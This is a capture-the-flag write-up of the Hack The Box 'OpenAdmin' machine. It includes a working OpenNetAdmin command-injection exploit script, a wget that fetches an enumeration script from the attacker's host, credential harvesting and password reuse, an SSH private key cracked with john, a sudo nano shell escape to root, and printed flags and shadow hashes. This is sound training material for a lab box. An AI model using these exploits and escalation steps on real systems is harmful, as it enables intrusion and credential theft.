[HTB] OpenAdmin - write up
OS: Linux | Difficulty: Easy | Points: 20 | Release: 04 Jan 2020 | IP: 10.10.10.171
Summary:
OpenAdmin is an easy box and quite straight forwards. You first need to enumerate to find where the websites reside. Then, as a good practice, look at the cookies, which tells use what CMS, this site is using. We can then see that because the version is out of date we can easily get some RCE working from a known vulnerability. Then it’s just a question of investigating what files are available and remembering that users often reuse passwords. The root is very easy if you get the fuck out.
Foothold:
$nmap -sV -sS -oA nmap/openadmin 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 13:15 CET
Nmap scan report for 10.10.10.171
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.43 seconds
We can see that there are 2 open ports 22/ssh
and 80/http
. We get information that this is an Ubuntu machine with the versions of Openssh and Apache.
Looking at the website, we can see a simple Apache default page. We need to gobuster
this website. Let’s try dirb’s common.txt wordlists.
$gobuster dir --url http://10.10.10.171 --wordlist /usr/share/dirb/wordlists/common.txt -o gobuster.default
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.171
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/03/18 13:34:24 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/artwork (Status: 301)
/index.html (Status: 200)
/music (Status: 301)
/server-status (Status: 403)
===============================================================
2020/03/18 13:35:19 Finished
===============================================================
With the first scan, we can see two folders: artwork
and music
, let’s check them out. Wow, these are good looking websites by Colorlib
. Cool, but we cannot find anything else in terms of folders. We can however check the cookies and see if something stands out
and indeed we have two ONA
cookies. The first one has a path mentioned : /ona
. Does that work in the URL? Yes, we have a dashboard OpenNetAdmin
(Now I get the name of the box :) ). We can note two things:
- First we are logged in as guest. try to change to
admin:admin
does not work. - Second, the version is not up to date.
Looking online, we can see that OpenNetAdmin
is vulnerable to Remote Command Execution described here https://www.exploit-db.com/exploits/47691. A bash script is provided where one needs to modify the URL, to our target:
$cat rce.sh
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
$sh rce.sh
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Running this scripts we get a elementary shell, we can easily upload a payload. In our case, we’ll use linspead.sh
to scan for any enumeration. To do that, we make a simple server on our host and wget to our target the file.
[LOCAL]
$python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
[# ]ON TARGET]
$ wget http://10.10.14.126:8081/linpeas.sh
$ sh linpeas.sh > linpeas.out
[WAIT FOR FINISH]
[LOCAL]
$wget http://10.10.10.171/ona/linpeas.out
--2020-03-18 14:15:57-- http://10.10.10.171/ona/linpeas.out
Connecting to 10.10.10.171:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 191908 (187K)
Saving to: ‘linpeas.out’
linpeas.out 100%[================================================================>] 187.41K 320KB/s in 0.6s
2020-03-18 14:15:58 (320 KB/s) - ‘linpeas.out’ saved [191908/191908]
Before reading the linpeas.out
let’s check the /home/
directory.
$ ls -al /home/
total 16
drwxr-xr-x 4 root root 4096 Nov 22 18:00 .
drwxr-xr-x 24 root root 4096 Nov 21 13:41 ..
drwxr-x--- 5 jimmy jimmy 4096 Nov 22 23:15 jimmy
drwxr-x--- 6 joanna joanna 4096 Nov 28 09:37 joanna
Ok so we know which users available. Let’s study the linpeas.out
file now. Looking carefully at the result, we find a password:
$less -r linpeas.out
[...]
/var/www/ona/local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
[...]
Great, let’s look at the database php file to on the host to get the rest.
$ cat /var/www/ona/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Cool, we got some creds: ona_sys:n1nj4W4rri0R!
. Unfortunately, I cannot log on the OpenNetAdmin
with this. And I cannot find the database. What we can do though is see if jimmy
or joanna
have reused the password. and the answer is…
$ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: n1nj4W4rri0R!
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Mar 18 13:27:17 UTC 2020
System load: 0.07 Processes: 124
Usage of /: 49.3% of 7.81GB Users logged in: 1
Memory usage: 28% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Mar 18 13:24:45 2020 from 10.10.14.115
jimmy@openadmin:~$
YES ! We can ssh with jimmy
. We are restricted on this user. Looking at sudo -l
shows that we cannot use sudo at all. We can try to find files that are owned by jimmy.
User
jimmy@openadmin:~$ find / -user jimmy
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
/home/jimmy
/home/jimmy/.local
/home/jimmy/.local/share
/home/jimmy/.local/share/nano
/home/jimmy/.local/share/nano/search_history
/home/jimmy/.bashrc
/home/jimmy/.cache
/home/jimmy/.cache/motd.legal-displayed
/home/jimmy/.profile
/home/jimmy/.gnupg
/home/jimmy/.gnupg/private-keys-v1.d
/home/jimmy/.bash_history
/home/jimmy/.bash_logout
Apart from the /proc/
we own the files in /home/jimmy
and also in /var/www/internal
. That’s interesting. We cannot access these files with the browser.
jimmy@openadmin:/var/www/internal$ ls -al
total 20
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 .
drwxr-xr-x 4 root root 4096 Nov 22 18:15 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 main.php
Let’s look at all three files
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
ob_start();
session_start();
?>
<?
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
?>
<html lang = "en">
<head>
<title>Tutorialspoint.com</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style></style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
Ok so index.php
is a login form. However, the verification is done in the script, so the key is shown in sha512. We can look online https://md5hashing.net/hash/sha512 to see if it is known. And after a minute, we see that the creds are jimmy:Reveals
.
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
and main.php
is the login page. We see that this page actually runs some code to print joanna’s id_rsa. So we need to run this code. However, we cannot access it from the browser. I tried running a small php server from ssh, but jimmy
does not have the privilege to cat
the ssh key. What we can do though is see if there is a server running locally ?
jimmy@openadmin:/var/www/internal$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost:52846 0.0.0.0:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
udp 0 0 localhost:domain 0.0.0.0:*
There is indeed something on localhost:52846
, We cannot access that with our browser, but we can from ssh
with curl
. Knowing the php scripts, we can try and directly login
jimmy@openadmin:/var/www/internal$ curl -X POST -F 'username=jimmy' -F 'password=Revealed' localhost:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Yes! we got a rsa private key. We need to crack that. Let’s ask john
. What we do is copy this key to a file on our host. First we need to convert that to john
compatible. We locate ssh2john
and pipe the result to another file, and then run john
with rockyou
$locate ssh2john
/usr/share/john/ssh2john.py
$usr/share/john/ssh2john.py joanna.priv > joanna.priv.john
$/usr/sbin/john joanna.priv.john -wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (joanna.priv)
1g 0:00:00:14 DONE (2020-03-18 14:47) 0.06963g/s 998725p/s 998725c/s 998725C/s 1111..*7¡Vamos!
Session completed
SUCCESS! we got a password joanna:bloodninjas
. We can try to ssh
with joanna
using this password, and rsa key.
$ssh -i ./joanna.priv joanna@10.10.10.171
Enter passphrase for key './joanna.priv':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Mar 18 13:51:21 UTC 2020
System load: 0.0 Processes: 118
Usage of /: 49.6% of 7.81GB Users logged in: 1
Memory usage: 18% IP address for ens160: 10.10.10.171
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
41 packages can be updated.
12 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Jan 2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
Great we got user.txt !
Root
First we can see if joanna
has any sudo
privs
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Looking at sudo -l
we have an opening with nano
-> GTFO :)
#~/Git/gtfo/gtfo -b nano
_ _ _ __
_| || |_ | | / _|
|_ __ _| __ _| |_| |_ ___
_| || |_ / _` | __| _/ _ \
|_ __ _| | (_| | |_| || (_) |
|_||_| \__, |\__|_| \___/
__/ |
|___/
[...]
Code: sudo nano
^R^X
reset; sh 1>&0 2>&0
Type: sudo
There is a way in with nano
. So let’s get in
joanna@openadmin:~$ sudo /bin/nano /opt/priv
Then we type ctrl+r
and ctrl+x
and we can run the command in nano
: reset; sh 1>&0 2>&0
. We see a small #
at the bottom. We can type clear
to get a clean terminal.
and we got root !
# bash
root@openadmin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@openadmin:~# cd /root
root@openadmin:/root# cat root.txt
2f907ed450b361b2c2bf4e8795d5b561
Guanicoe
name | hash |
---|---|
root | $6$BGk6CBPE$FoDCUgY.1pnYDkqDr4.yNm4jQqnnG7side9P6ApdQWWqLr6t1DHq/iXuNF7F0fkivSYXajUp/bK2cw/D/3ubU/:18222:0:99999:7::: |
jimmy | $6$XnCB2K/6$QALmpgLWhDwUjcNldzgtafb6Tt1dT.uyIfxdhDYOVGdlNgIyDX89hz29P.aDQM9OBSSsI2dJGUYYTmQtdb2zw.:18222:0:99999:7::: |
joanna | $6$gmFfLksM$XJl08bIFRUki/Lecq8RKFzFFvleGn9CjiqrQxU4n/l6JZe/FSRbe0I/W3L86yWibCJejfrMzgH3HvUezxhCWI0:18222:0:99999:7::: |